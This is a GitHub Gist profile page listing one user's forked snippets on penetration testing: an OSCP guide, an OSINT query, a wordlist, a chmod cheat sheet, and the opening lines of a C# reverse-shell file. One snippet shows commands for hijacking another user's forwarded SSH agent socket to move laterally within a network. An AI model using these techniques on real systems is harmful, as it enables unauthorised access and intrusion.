Skip to content

Instantly share code, notes, and snippets.

View sulaimanzai's full-sized avatar

Mohammad Agha sulaimanzai

View GitHub Profile
@sulaimanzai
sulaimanzai / how-to-oscp-final.md
Created May 23, 2022 07:54 — forked from meldridge/how-to-oscp-final.md
How to pass the OSCP
@sulaimanzai
sulaimanzai / Get_Early_Stargazers.graphql
Created January 3, 2022 07:58 — forked from nil0x42/Get_Early_Stargazers.graphql
[OSINT] Get early stargazers of a GitHub repository for org/user info gathering
# Get_Early_Stargazers #OSINT #recon trick, by @nil0x42
# Get list of first people to star a GitHub repository.
# Those are more likely to be closely connected to target org/user
# Run this query with wanted owner/name in GitHub GraphQL explorer:
# - https://developer.github.com/v4/explorer/
query Get_Early_Stargazers {
repository(owner: "sherlock-project", name: "sherlock") {

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld
@sulaimanzai
sulaimanzai / content_discovery_all.txt
Created December 18, 2020 12:29 — forked from jhaddix/content_discovery_all.txt
a masterlist of content discovery URLs and files (used most commonly with gobuster)
This file has been truncated, but you can view the full file.
`
~/
~
ים
___
__
_
@sulaimanzai
sulaimanzai / chmodCheatSheet.md
Created October 17, 2020 19:42 — forked from juanarbol/chmodCheatSheet.md
Chmod cheat sheet

Chmod codes cheat sheet

How to use chmod codes in UNIX:

  1. There are three types of permisions in files and folders in unix
    1. Read (r)
    2. Write (w)
    3. Execute (x)
  2. And, there is a clasificacion of users called UGO (explained bellow):
  3. U ~> User (usually, you)
@sulaimanzai
sulaimanzai / Simple_Rev_Shell.cs
Created February 19, 2020 07:54
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;